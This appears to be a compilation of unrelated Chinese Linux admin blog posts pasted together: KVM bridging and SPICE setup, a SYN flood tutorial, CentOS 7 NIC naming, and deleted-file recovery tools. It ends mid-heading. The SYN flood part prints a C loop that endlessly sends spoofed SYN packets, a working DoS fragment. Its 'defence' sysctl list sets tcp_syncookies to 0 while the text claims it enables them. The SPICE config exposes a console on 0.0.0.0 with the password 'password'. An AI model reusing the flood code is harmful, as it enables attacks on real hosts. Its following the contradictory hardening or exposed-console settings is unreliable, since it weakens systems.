# systemctl start libvirtd

# systemctl enable libvirtd

# ip a

# nmcli c add type bridge autoconnect yes con-name br0 ifname br0
说明
nmcli是网络管理工具NetworkManager包的命令行工具。
3、编辑网络配置文件
# cd /etc/sysconfig/network-scripts/ 

# vim ifcfg-br0
DEVICE=br0
TYPE=Bridge
BOOTPROTO=none
NAME=br0
ONBOOT=yes
IPADDR=192.168.1.133
GATEWAY=192.168.1.1
NETMASK=255.255.255.0
DNS1=192.168.1.1


# vim ifcfg-eno16777736  
TYPE=Ethernet
BRIDGE=br0
BOOTPROTO=none
DEFROUTE=yes
PEERDNS=yes
PEERROUTES=yes
NAME=eno16777736
UUID=d250bd30-01e7-4147-abb1-83382d7a7eff
DEVICE=eno16777736
ONBOOT=yes
重启网络
#  systemctl restart network
4、最后,查看网络
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eno16777736: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP qlen 1000
    link/ether 00:0c:29:ca:b9:21 brd ff:ff:ff:ff:ff:ff
3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN
    link/ether 52:54:00:8b:52:5c brd ff:ff:ff:ff:ff:ff
    inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
       valid_lft forever preferred_lft forever
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN qlen 500
    link/ether 52:54:00:8b:52:5c brd ff:ff:ff:ff:ff:ff
6: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
    link/ether 00:0c:29:ca:b9:21 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.133/24 brd 192.168.1.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feca:b921/64 scope link
       valid_lft forever preferred_lft forever
注意,centos 7默认命令的输出格式,确实不好看,建议安装net-tools工具,使用ifconfig命令查看。
5、一个安装列子
# mkdir -p /var/kvm/images # create a new Storage Pool

# virt-install \
--name centos7 \
--ram 4096 \
--disk path=/var/kvm/images/centos7.img,size=30 \
--vcpus 2 \
--os-type linux \
--os-variant rhel7 \
--network bridge=br0 \
--graphics none \
--console pty,target_type=serial \
--location=/data/centos7.iso \
--extra-args 'console=ttyS0,115200n8 serial'
Starting install...# start installation
6、、安装spice服务
为了后续使用Spice协议,连接KVM创建的虚拟机,我们需要安装spice服务。
# yum -y install spice-server spice-protocol 
7、一个使用Spice的案例
# virsh edit centos7 

<domain type='kvm'>
  <name>centos7</name>
  <uuid>b38a50ca-a1ae-4d37-ba10-caf1e05b43ce</uuid>
  <memory unit='KiB'>4194304</memory>
  <currentMemory unit='KiB'>4194304</currentMemory>
  <vcpu placement='static'>2</vcpu>
  .
  .
  .
      # add follows
      # set any password for "passwd=***" section
      # specify a uniq number for "sound" section "slot='0x06'"
      # the "slot='0x02'" in video section is fixed number for graphics
     <graphics type='spice' port='5900' autoport='no' listen='0.0.0.0' passwd='password'>
      <listen type='address' address='0.0.0.0'/>
    </graphics>
    <sound model='ac97'>
      <address type='pci' domain='0x0000' bus='0x00' slot='0x06' function='0x0'/>
    </sound>
    <video>
      <model type='qxl' ram='65536' vram='32768' heads='1'/>
      <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/>
    </video>
     <memballoon model='virtio'>
      <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x0'/>
    </memballoon>
  </devices>
</domain>


# virsh start centos7 

Linux下SYN flood攻击案例

今天详细分析一下SYN flood攻击的原理,首先简单回顾一下TCP/IP三次握手的过程。

wKiom1NOC4CxKFKNAAA3O0qX9bY741.gif

1. Host A 发送一个TCP SYNchronize 包到 Host B
2. Host B 收到 Host A的SYN
3. Host B 发送一个 SYNchronize-ACKnowledgement
4. Host A 接收到Host B的 SYN-ACK
5. Host A 发送ACKnowledge
6. Host B 接收到ACK
7.TCP socket 连接建立ESTABLISHED.

SYN flood(SYN洪水攻击)
在三次握手过程中,Host B发送SYN-ACK之后,收到Host A的ACK之前的TCP连接称为半连接(half-open connect).此时Host B处于SYN_RECV状态.当收到ACK后,Host B转入ESTABLISHED状态.
SYN 攻击就是攻击端Host A在短时间内伪造大量不存在的伪IP地址,向Host B不断地发送SYN包,Host B回复确认包,并等待Host A的确认,由于源地址是不存在的,Host B需要不断的重发包直 至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
SYN flood攻击是一种典型的DDos攻击。检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击.

我们可以用C语言写个程序模拟SYN flood攻击,以下为程序片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
void flood(unsigned int src_host, unsigned int dst_host, unsigned short port)
{
    struct
    {
        struct iphdr ip;
        struct tcphdr tcp;
    } packet;
                                                                     
    struct
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
        struct tcphdr tcp;
    } pseudo_header;
    int sock, sinlen;
    struct sockaddr_in sin;
                                                                     
    packet.ip.ihl = 5;
    packet.ip.version = 4;
    packet.ip.tos = 0;
    packet.ip.tot_len = htons(40);
    packet.ip.id = getpid();
    packet.ip.frag_off = 0;
    packet.ip.ttl = 255;
    packet.ip.protocol = IPPROTO_TCP;
   packet.ip.check = 0;
   packet.ip.saddr = src_host;
   packet.ip.daddr = dst_host;
    packet.tcp.source = getpid();
    packet.tcp.dest = htons(port);
   packet.tcp.seq = getpid();
    packet.tcp.ack_seq = 0;
    packet.tcp.res1 = 0;
    packet.tcp.doff = 5;
   packet.tcp.fin = 0;
    packet.tcp.syn = 1;
    packet.tcp.rst = 0;
   packet.tcp.psh = 0;
    packet.tcp.ack = 0;
    packet.tcp.urg = 0;
    packet.tcp.window = htons(512);
   packet.tcp.check = 0;
    packet.tcp.urg_ptr = 0;
    sin.sin_family = AF_INET;
    sin.sin_port = packet.tcp.source;
    sin.sin_addr.s_addr = packet.ip.daddr;
                                                                     
    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
   {
                                                                         
        exit(1);
    }
                                                                    
    for(;;)
    {
        packet.tcp.source++;
        packet.ip.id++;
       packet.tcp.seq++;
        packet.tcp.check = 0;
        packet.ip.check = 0;
       packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);
        pseudo_header.source_address = packet.ip.saddr;
        pseudo_header.dest_address = packet.ip.daddr;
        pseudo_header.placeholder = 0;
        pseudo_header.protocol = IPPROTO_TCP;
        pseudo_header.tcp_length = htons(20);
        bcopy((char *)&packet.tcp, (char *)&pseudo_header.tcp, 20);
        packet.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
       sinlen = sizeof(sin);
        sendto(sock, &packet, 40, 0, (struct sockaddr *)&sin, sinlen);
    }
    close(sock);

在Host A上执行攻击程序,伪装源IP成8.8.8.8(google DNS),目标地址192.168.39.131的80端口

wKiom1NLbYXBs-6yAACgibMotu0565.jpg

在Host B上netstat -an | grep  SYN_RECV可以看到产生大量SYN_RECV状态的连接

wKioL1NLbXfANlCVAAUqnUpuTQw450.jpg

此时Host B收到包后连接为SYN_RECV状态,根据TCP/IP协议应该发送SYN_ACK回复给Host A,在Host B上使用tcpdump -i eth0 ‘tcp [13] & 2 =2’抓取,发现存在大量SYN_ACK状态的连接,
可惜源ip为伪装的地址,所以会超时重传。此时如有正常请求Host B的80端口,它的SYN包就会被Host B丢弃,因为半连接队列已经满了(耗尽内存以及CPU资源),从而达到攻击目的。

wKiom1NLbcLhtS4PAAjHMd8Tnc0800.jpg

Linux kernel也提供了Syncookies 等机制来防止syn攻击,以下是具体修改的内核参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# default = 5
                                         
 net.ipv4.tcp_syn_retries = 3
 # default = 5
 net.ipv4.tcp_synack_retries = 3
 # default = 1024
 net.ipv4.tcp_max_syn_backlog = 65536
 # default = 124928
 net.core.wmem_max = 8388608
 # default = 131071
 net.core.rmem_max = 8388608
 # default = 128
 net.core.somaxconn = 512
 # default = 20480
 net.core.optmem_max = 81920
 # default = 1
 net.ipv4.tcp_syncookies = 0

其中net.ipv4.tcp_synack_retries, net.ipv4.tcp_syncookies, net.ipv4.tcp_max_syn_backlog作用分别是减小SYN_ACK重传次数,启用syn cookie和增加半连接队列长度。
虽然系统能在当半连接队列满时,启用syn cookie功能,但也不是可以完全防御的。因为其一,Linux kernel的协议栈本身对此类DDos攻击的防御效有缺陷;其二,如果说攻击瞬间并发量足够大,毕竟Host B的CPU、内存资源是有限的,所以一般采用专业的硬件防火墙设备。

CentOS 7传统网卡命名设置

使用Linux这么多年,我已经习惯了eth0 这样的网络设备命名,在CentOS 6下,发现网络设备变成了em1 这样的命名。那时我们在安装的时候,给启动参数加上 biosdevname=0,就可以继续使用 eth0 这样的命名。

到了CentOS 7的时候,原有的参数biosdevname=0不起作用了,网络设备变成了 eno1 这样的名称。如果你希望继续使用 eth0 这样的传统名称,那么在安装启动时加上参数:

net.ifnames=0 biosdevname=0

如果你已经安装完了,希望改成eth0这样的名称,那么需要:

修改grub2启动参数
vi /etc/sysconfig/grub

GRUB_CMDLINE_LINUX=”net.ifnames=0 biosdevname=0 rd.lvm.lv=JUNXI/swap rd.lvm.lv=JUNXI/root rhgb quiet”

grub2-mkconfig -o /boot/grub2/grub.cfg

重新对 文件进行命名:
/etc/sysconfig/network-scripts/ifcfg-*

CentOS 7 这种变化的原因,是由于systemd 和 udev 引入了一种新的网络设备命名方式–一致网络设备命名(CONSISTENT NETWORK DEVICE NAMING) 。可以根据固件、拓扑、位置信息来设置固定名字,带来的好处是命名自动化,名字完全可预测,在硬件坏了以后更换也不会影响设备的命名,这样可以让硬件的更换无缝化。带来的不利是新的设备名称比传统的名称难以阅读。比如心得名称是enp5s0.

使用 Linux 文件恢复工具

Linux 系统管理员守则中有这么一条:“慎用 rm -rf 命令,除非你知道此命令所带来的后果“,不过 Linux 下删除文件并不是真实的删除磁盘分区中的文件,而是将文件的 inode 节点中的扇区指针清除,同时释放这些数据对应的数据块,当释放的数据块被系统重新分配时,那些被删除的数据就会被覆盖,所以误删除数据后,应马上卸载文件所在的分区。然后使用相关工具进行恢复。本文以 Ubuntu 12.04 平台为例介介绍四个(foremost、extundelete、testdisk 和 phtorec)常用的 Linux 删除文件恢复工具的使用方法。

Linux 文件恢复的原理

inode 和 block

首先简单介绍一下 Linux 文件系统的最基本单元:inode。inode 译成中文就是索引节点,每个存储设备(例如硬盘)或存储设备的分区被格式化为文件系统后,应该有两部份,一部份是 inode,另一部份是 block,block 是用来存储数据用的。而 inode 呢,就是用来存储这些数据的信息,这些信息包括文件大小、属主、归属的用户组、读写权限等。inode 为每个文件进行信息索引,所以就有了 inode 的数值。linux 操作系统下可以使用 ls –id 命令来查看文件或者目录的 inode 值,一般”root”目录的 inode 值为 2,一个分区挂载到一个目录下时,这个”root”目录的 inode 值为 2

# mount /dev/sdb2 /tmp# ls -id /tmp2 /tmp

文件恢复的原理

本文要介绍的命令是通过文件系统的 inode 值(一般是 2 )来获取文件系统信息。在 ext3 和 ext4 文件系统中,每个文件都是通过 inode 来描述其数据存放的具体位置,当文件被删除以后,inode 的数据指针部分被清零,文件目录区没有太多变化。文件的读写都是通过 inode 来实现,当 inode 数据指针被清零以后,即便文件内容还在,也没有办法把文件内容组合出来。当 ext3 和 ext4 文件系统中的元数据 metadata 发生变化时,相应的元数据 metadata 在日志文件会有一份拷贝。比如一个文件被删除了,它的 inode 信息会在日志文件中先保存一份,然后把要删除文件 inode 相关信息清零。这个日志文件是循环使用的,当操作过多时,删除的文件的 inode 日志记录会被新的数据替换,这就彻底丧失了根据 inode 找回数据的机会了。如果是大量文件的删除,这个日志文件会被反复循环利用多次,只留给最后删除的那些文件的恢复机会。

回页首

使用命令行工具恢复文件

foremost 和 extundelete 简介

formost 是一个基于文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。这个过程通常叫做数据挖掘(data carvubg)。formost 可以分析由 dd、Safeback、Encase 等生成的镜像文件,也可以直接分析驱动器。文件头和尾可以通过配置文件设置,也可以通过命令行开关使用 formost 内建的文件类型。formost 最初是由美国空军特别调查室(Air Force Office of Special Investigations)和信息系统安全研究中心(The Center for Information Systems Security Studies and Research)开发的,现在使用 GPL 许可。Foremost 支持恢复如下格式:avi, bmp, dll, doc, exe, gif, htm, jar, jpg, mbd, mov, mpg, pdf, png, ppt, rar, rif, sdw, sx, sxc, sxi, sxw, vis, wav, wmv, xls, zip。

针对 Linux 下的 ext 文件系统来说,常用的 Linux 文件删除恢复工具有 debugfs、ext3grep、extundelete 等。extundelete 是一个开源的数据恢复工具,支持 ext3、ext4 文件系统,其官方站点位于http://extundelete.sourceforce.net/,目前最新稳定版本为 0.2.0。

上面介绍的两种命令行工具 foremost 和 extundelete 二者相比,foremost 支持的文件系统比较多(包括 ext2、 ext3 、vfat、NTFS、ufs、jfs 等)和 extundelete 支持的文件系统较少(ext3、ext4)文件系统。不过 foremost 只能支持恢复特定格式的文件。

使用 foremost

首先安装软件包

#apt-get install foremost

其它 Linux 发行版用户可以在 http://foremost.sourceforge.net/ 下载源代码编译安装。下面看看使用方法。

恢复单个类型文件

笔者删除一个 USB(/dev/sdba1)存储器中一个 png 文件然后使用 formost 恢复。

#rm -f /dev/sdb1/photo1.png#foremost -t png -i /dev/sdb1

恢复完成后会在当前目录建立一个 output 目录,在 output 目录下会建立 png 子目录下会包括所有可以恢复的 png 格式的文件。

需要说明的是 png 子目录下会包括的 png 格式的文件名称已经改变,另外 output 目录下的 audit.txt 文件是恢复文件列表。

恢复多个类型文件

#foremost -v -T -t doc,pdf,jpg,gif -i /dev/sda6 -o /media/disk/Recover

恢复完成后会在当前目录建立一个 output 目录,在 output 目录下会建立四个子目录(/doc,/pdf,/jpg,/gif),分别包括四种类型文件。另外 output 目录下的 audit.txt 文件是恢复文件列表。

使用 extundelete

首先安装软件包

#apt-get install extundelete

其它 Linux 发行版用户可以在http://extundelete.sourceforce.net/下载源代码编译安装。下载安装 extundelete 之前要安装两个软件包 e2fsprogs 和 e2fslibs。下面看看使用方法

模拟数据误删除环境

这里我们使用一个分区/dev/sdd1 挂在在/backupdate 上,建立一个测试目录/delete 并建立一文件:del1.txt 。

# mkdir –p /backupdate/deldate# mkfs.ext4 /dev/sdd1# mount /dev/sdd1 /backupdate#cd /backupdate/deldate# touch del1.txt# echo ” test 1″ > del1.txt获取文件校验码# md5sum del1.txt 66fb6627dbaa37721048e4549db3224d del1.txt删除文件# rm -fr /backupdate/* 卸载文件系统或者挂载为只读# umount /backupdate查询恢复数据信息,注意这里的–inode 2 这里会扫描分区 :# extundelete /dev/sdd1 –inode 2…..File name | Inode number | Deleted statusDirectory block 8657:. 2.. 2lost+found 11 Deleteddel1.txt 12 Deleted

上面标记为 Deleted 是已经删除的文件或目录

开始恢复文件

默认恢复到当前目录下的 RECOVERED_FILES 目录中去。

# extundelete /dev/sdd1 –restore-file del1.txt如果恢复一个目录# extundelete /dev/sdd1 –restore-directory /backupdate/deldate恢复所有文件# extundelete /dev/sdd1 –restore-all获取恢复文件校验码,对比检测是否恢复成功# md5sum RECOVERED_FILES/ del1.txt 66fb6627dbaa37721048e4549db3224d RECOVERED_FILES/del1.txt

查看校验码与之前的是否完全一致。

应用总结:笔者在现实使用过程中发现 extundelete 还是有很大的不完整性,基于整个磁盘的恢复功能较为强大,基于目录和文件的恢复还不够强大。在 Linux 下误删除了文件,当发现数据丢失以后,不要进行任何操作,保留现场。要想办法把数据丢失的文件系统经过 dd 命令或者 AIR(Automated Image Restore,http://cdnetworks-kr-2.dl.sourceforge.net/ )工具到另外的存储空间上作为最原始的备份,以便数据恢复专家现场诊断恢复。

使用 scalpel

以上介绍的工具主要使用在 ext3 和 ext4 的文件系统,如果用户使用的那些没有日志机制的旧有文件系统,可以使用 scalpel 工具。scalpel 是一种快速文件恢复工具,它通过读取文件系统的数据库来恢复文件。它是独立于文件系统的。

用户可以在http://www.digitalforensicssolutions.com/Scalpel/ 下载源代码编译安装。下面看看使用方法:

使用 scalpel 工具之前,首先要修改配置文件: /etc/scalpel/scalpel.conf。

例如用户要恢复所有删除 pdf 文件,那么要在/etc/scalpel/scalpel.conf 把包括 pdf 文件格式的两行之前的# 去掉。

[…] pdf y 5000000 %PDF %EOF\x0d REVERSE pdf y 5000000 %PDF %EOF\x0a REVERSE[…]

然后保存文件。

下面看看使用方法

# scalpel /dev/sdb1 -o /RECOVERY/

其中/dev/sdb1 是目标驱动器,/RECOVERY/ 是恢复文件存储目录。目录下的 audit.txt 文件是恢复文件列表。

回页首

使用字符终端工具 testdisk 和 phtorec

testdisk 简介

testdisk 是分区表恢复、raid 恢复、分区恢复的开源免费工具(testdisk 支持如下文件系统: FAT12/FAT16/FAT32/NTFS/ext2/ext3/ext4)。testdisk 支持的功能: 修复分区表, 恢复已删除分区,用 FAT32 备份表恢复启动扇区,重建 FAT12/FAT16/FAT32 启动扇区,修复 FAT 表,重建 NTFS 启动扇区,用备份表恢复 NTFS 启动扇区,用 mft 镜像表(mft mirror)修复 mft 表,查找 ext2/ext3 备份的 superblock,从 FAT,NTFS 及 ext2 文件系统恢复删除文件,从已删除的 FAT,NTFS 及 ext2/ext3 分区复制文件。

使用方法

首先安装

#apt-get install testdisk

其它 Linux 发行版用户可以在http://www.cgsecurity.org/wiki/TestDisk_Download 下载源代码编译安装。下载安装 testdisk 之前要安装几个软件包 libjpeg8 ,libncursesw5, libuuid1, zlib1g 。下面看看使用方法

启动 testdisk

#testdisk

testdisk 启动后的工作界面首先是选择恢复操作中的 log 文件(testdisk.log)的纪录方式见图 1。

图 1.选择恢复操作中的 log 文件的纪录方式

图 1 选择恢复操作中的 log 文件的纪录方式

[Create]新建

[Append]追加

[No Log]不纪录

选择了 log 文件的记录方式后、系统显示处于连接状态的磁盘设备见图 2。

图 2.处于连接状态的磁盘设备

图 2 处于连接状态的磁盘设备

在列出的磁盘设备中,选择要恢复的分区,然后选择磁盘分区的种类。若是 ext4 文件系统的话,请选择 [None ] Non partitioned media 见图 3

图 3.选择 [None ] Non partitioned media

Figure xxx. Requires a heading

说明:一般选择[Intel] Intel/PC partition(如果是 GPT 分区,请选择 EFI GPT),对于 ext4 文件系统选择 [Intel] Intel/PC partition 也能正确识别,只是分析硬盘時比较慢。

下面的画面中选择[Analyse],对分区进行分析见图 4。

图 4.对分区进行分析

图 4 对分区进行分析

下面显示了当前分区的状态。这是软件分析的当前分区表的分区结果,我们选择“Deep Search”进行一次深入检测见图 5。

图 5.选择“Deep Search”进行一次深入检测

图 5 选择“Deep Search”进行一次深入检测

下面是检测完成界面见图 6

图 6.检测完成界面

图 6 检测完成界面

在这个画面时,按 P 键就可以列出硬盘上的文件见图 7

图 7.红色的文件名称就是已经被删除的文件

图 7 红色的文件名称就是已经被删除的文件

红色的文件名称就是已经被删除的文件,选择好你要恢复的文件后,按 c 键之后,它就会问你要复制到哪个目录,这时请选择你要 复制的目地地(destination)即可。

photorec 简介

photorec 是一款用于恢复硬盘、光盘中丢失的视频、文档、压缩包等文件,或从数码相机存储卡中恢复丢失图片的数据恢复软件(因此,该软件命名为 photo recovery 这个名字)。 photorec 忽略文件系统,能直接从介质底层恢复数据,因此,在介质的文件系统严重破坏或被重新格式化后,它也能进行数据恢复。出于安全考虑, photorec 以只读方式来访问您要恢复数据所在的磁盘或存储卡介质。提示: 一旦发现丢失或意外删除了某个图片、文件, 请不要继续往该存储设备或磁盘保存新文件;否则您可能会覆盖原来的数据。 这意味着您在使用 photorec 时,您千万不要将恢复的文件写入到原数据所存储的同一分区。

使用 photorec 恢复文件

photorec 是 testdisk 的伴侣程序,安装 testdisk 后 photorec 就可以使用了。

启动 photorec

# photorec

图 8 中显示了已连接磁盘设备,准备恢复的文件在那个设备上就选择它,然后在选择 Proceed 按钮继续下一步。

图 8.已连接磁盘设备

图 8 已连接磁盘设备

接下来,选择恢复的磁盘分区格式。这里选择 ext4 见图 9。

图 9.选择恢复的磁盘分区格式

图 9 选择恢复的磁盘分区格式

画面下方[File Opt]中有可供恢复的文件种类提供被选择见图 10。

图 10.可供恢复的文件种类

图 10 可供恢复的文件种类

说明:如果只是 root 据某些文件签名要恢复部分文件类型,那么可以按 s 取消全部勾选,然后移动光标到要恢复的文件类型,可按空格来选择高亮选中的类型。

下面设定要分析的磁盘空间区域,可整个分区搜索,也可只搜索自由空间(相当于未分配簇)见图 11 。

图 11.设定要分析的磁盘空间区域

图 11 设定要分析的磁盘空间区域

下面选择分区所使用的文件系统类型,然后设定导出的文件目录,一般输入 Y 并回车即可。图 12 是恢复完成界面。

图 12.恢复完成

图 12 恢复完成

恢复完了选择 Quit 退出 PhtoRec。被恢复的文件是 recup_dir.x 的若干数字子组合为文件名被保存在当前目录的/recup_dir 子目录下的。

功能对比

表 1 是 Linux 删除文件恢复工具

表 1.Linux 删除文件恢复工具
工具名称/功能对比 工作界面 功能简介
foremost 命令行 formost 是一个基于文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具
extundelete 命令行 Extundelete 是 ext3、ext4 文件系统的恢复工具
scalpel 命令行 scalpel 是一种快速文件恢复工具,它通过读取文件系统的数据库来恢复文件。它是独立于文件系统的
testdisk 字符终端 Testdisk 支持分区表恢复、raid 恢复、分区恢复
phtorec 字符终端 photorec 用来恢复硬盘、光盘中丢失的视频、文档、压缩包等文件,或从数码相机存储卡中恢复丢失的图片

总结

可以使用 testdisk 进行文件恢复的场合,也就是硬盘上的分区(该分区有原有数据纪录)已经损坏的情形。但是如果损坏之后,重新再次做成了新分区的话,文件恢复的可能性比较小,很困难。photorec 不仅针对 硬盘、USB 设备、CD-ROM、SD 卡,而且还可以对其它存储设备进行应用。因此大多数常用的文件如果被误操作的话,均可利用其来进行恢复,只不过它的初衷是针对照片而制作的。

 

extundelete数据恢复

一、安装

(1) 首先extundelete软件所依赖e2fsprogs e2fsprogs-libs e2fsprogs-devel软件包

(2) 下载extundelete,官方网站是http://extundelete.sourceforge.net/ 目前的稳定版本是             extundelete-0.2.4

 

[root@local app]# tar jxvf extundelete-0.2.4.tar.bz2

[root@localapp]# cd  extundelete-0.2.4

[root@localapp]# ./configure  结果Writing generated files to disk

[root@localapp]# make  结果extundelete.cc:571: 警告:未使用的参数‘flags’

[root@localapp]# make install

结果  /usr/bin/install -c extundelete’/usr/local/bin’

 

 

(3) 解压安装

(4) 安装完成后,就可以进行数据恢复的操作了

二、实用方法

(1) 命令格式 extundelete [options’选项’] [action‘命令’] device-file‘设备文件’

(2) 参数介绍extundelete –help

 

     参数:      –version,-[vV]显示软件版本号

–help,显示软件帮助信息

–superblock显示超级块信息

–journal,显示日志信息

–after dtime,时间参数,表示在某时间段之后被删除的文件或目录

–before dtime,时间参数,表示在某时间段之前被删除的文件或目录 

     动作

–inode ino,显示节点ino 的信息

–block blk 显示数据块 blk 的信息

–restore-inode ino [,ino,…]恢复命令参数,表示恢复节点“ino”的文件,恢复的文件  会自动

存放在当前目录下的RESTORED_FILES文件夹中,使用节点编号作为扩展名

–restore-file ‘path’ ,恢复命令蚕食,表示将恢复指定路径的文件,并把恢复的文件  放在当

前目录下的RECOVERED_FILES目录中

–restore-files‘path’,恢复命令参数,表示将恢复在路径中已列出的所有文件

–restore-all,恢复命令参数,表示将尝试恢复所有目录和文件

-j journal 表示从已经命名的文件中读取扩展日志

-b blocknumber,表示使用之前备份的超级快来打开文件系统,一般用于查看现有超级快

是不是当前所要的文件

-B blocksize,通过制定数据块大小来打开文件系统,一般用于查看已经知道大小的文件

 

三、extundelete数据恢复过程

在数据被误删后,第一时间要做的是卸载被删除数据所在的磁盘或者磁盘分区,如果是系统根分区的数据遭到误删,就需要将系统进入单用户,并且将根目录以只读的模式挂载,这样做的原因是当问及被删除后,仅仅是将文件的inode节点中的扇区指针清零,实际文件还储存在磁盘上,如果磁盘以只读模式挂载,这些已删除文件的数据块就可能被操作系统重新分配出去了,在这些数据块被新的数据覆盖后,这些数据就真的丢失了,恢复工具也没办法恢复。

(1) 通过extundelete恢复单个文件操作以ext4文件系统环境为例,我自己添加一块磁盘设备为/dev/sdb4

[root@local 桌面]# mkdir /data
[root@local 桌面]# mkfs.ext4 /dev/sdb4

[root@local 桌面]# mount /dev/sdb4 /data/

[root@local 桌面]# cp /etc/passwd /data/

[root@local data]# cp -r /root/app/extundelete-0.2.4 /data/

[root@local data]# md5sum passwd

90a8c0bb0bea88d6ce2ab252bd55ecfc passwd

[root@local data]# rm -rf /data/*

 

(2) 卸载磁盘分区

[root@local data]# cd
[root@local ~]# umount /data/

 

(3) 通过extundelete命令查下/dev/sdb4分区可恢复的数据信息一般”root”目录的 inode 值为

2, 一个分区挂载到一个目录下时,这个”root”目录的 inode 值为 2

[root@local ~]# extundelete /dev/sdb4 –inode 2

 

………
File name | Inode number | Deleted status

. 2

.. 2

lost+found 11 Deleted

passwd 12 Deleted

extundelete-0.2.4 131073 Deleted

 

(4) 恢复单个文件,恢复单个文件的参数是–restore-file 这里需要注意的是参数后面

指定的是恢复文件路径,这个路径是文件的相对路径。相对路径是相对于原来存储路径而言

的,如果存储路径是/data/passwd,那么参数后面直接写pass我的,如果原来的路径是/data/

extundelete-0.2.4/ config.h那么在参数后面就写extundelete-0.2.4/ config.h即可。

[root@local ~]# extundelete /dev/sdb4 –restore-file passwd
NOTICE: Extended attributes are not restored.

Loading filesystem metadata … 40 groups loaded.

Loading journal descriptors … 52 descriptors loaded.

Successfully restored file passwd

[root@local ~]# cd RECOVERED_FILES/

[root@local RECOVERED_FILES]# ls

passwd

[root@local RECOVERED_FILES]# md5sum passwd

90a8c0bb0bea88d6ce2ab252bd55ecfc passwd

 

通过extundelete恢复单个目录

 

(1) 通过参数—restore-directory选项即可恢复指定目录的数据,想要恢复/data/extundelete-           0.2.4下的数据

[root@local extundelete-0.2.4]# extundelete /dev/sdb4 –restore-directory extundelete-0.2.4
[root@local extundelete-0.2.4]# cd RECOVERED_FILES/

[root@local RECOVERED_FILES]# ls

extundelete-0.2.4

[root@local RECOVERED_FILES]# du -sh extundelete-0.2.4/

4.8M extundelete-0.2.4/

 

可以看到目录extundelete-0.2.4已经恢复了

 

通过extundelete恢复所有误删的数据

(1) 当需要恢复的数据较多时,一个一个的恢复是非常繁琐的,此时可以通过–restore-all来恢复所有的文件或文件夹

[root@local ~]# cd /

[root@local /]# ls

app cgroup etc lib64 misc opt sbin sys var

bin data home lost+found mnt proc selinux tmp

boot dev lib media net root srv usr

[root@local /]# extundelete /dev/sdb4 –restore-all

[root@local /]# ls

app cgroup etc lib64 misc opt root srv usr

bin data home lost+found mnt proc sbin sys var

boot dev lib media net RECOVERED_FILES selinux tmp

[root@local /]# cd RECOVERED_FILES/

[root@local RECOVERED_FILES]# ls

extundelete-0.2.4 passwd

[root@local RECOVERED_FILES]# du -sh extundelete-0.2.4/

4.8M extundelete-0.2.4/

 

通过extundelete恢复某个时间段的数据

(1) 当删除的数据量非常大的时候,很多数据没有用,这时我们要恢复某个时间短的数据,

extundelete提供了–after,–before参数。

首先假设在/data分区下刚刚创建了extundelete-0.2.4.tar.bz2,然后删除此文件,接着卸

载/data分区,开始恢复一小时内的数据操作如下:

[root@local data]# cp /root/extundelete-0.2.4.tar.bz2 /data/
[root@local data]# ls

extundelete-0.2.4.tar.bz2

[root@local data]# date +%s

1447823133

[root@local data]# rm -rf extundelete-0.2.4.tar.bz2

[root@local data]# cd

[root@local ~]# umount /data

[root@local ~]# date +%s

1447823221

[root@local ~]# cd /data/

[root@local data]# ls

[root@local data]# extundelete –after 1447819621 –restore-all /dev/sdb4

[root@local data]# ls

[root@local data]# cd RECOVERED_FILES/

[root@local RECOVERED_FILES]# ls

extundelete-0.2.4.tar.bz2

 

注:可以看到刚才删除的文件已经恢复这个操作需要注意–after参数后面跟的是时间的总秒数起算时间“1970-01-01 00:00:00 UTC”通过date +%s 命令可将当前时间转换成总秒数之后恢复1小时以前的数据就需要用1447823221减去60*60=3600所得的数

Linux数据恢复软件extundelete应用

作为一名运维人员,保证数据的安全是根本职责,所以在维护系统的时候,要慎之又慎,但是有时难免会出现数据被误删除的情况,在这个时候改如何快速、有效地恢复数据呢?本文我们就来介绍一下Linux系统下常用的几个数据恢复工具。

一、如何使用“rm -rf”命令

在 Linux系统下,通过命令“rm -rf”可以将任何数据直接从硬盘删除,并且没有任何提示,同时Linux下也没有与Windows下回收站类似的功能,也就意味着,数据在删除后通过常 规的手段是无法恢复的,因此使用这个命令要非常慎重。在使用rm命令的时候,比较稳妥的方法是把命令参数放到后面,这样有一个提醒的作用。其实还有一个方 法,那就是将要删除的东西通过mv命令移动到系统下的/tmp目录下,然后写个脚本定期执行清除操作,这样做可以在一定程度上降低误删除数据的危险性。

其实保证数据安全最好的方法是做好备份,虽然备份不是万能的,但是没有备份是万万不行的。任何数据恢复工具都有一定局限性,都不能保证完整地恢复出所有数据,因此,把备份作为核心,把数据恢复工具作为辅助是运维人员必须坚持的一个准则。

二、extundelete与ext3grep的异同

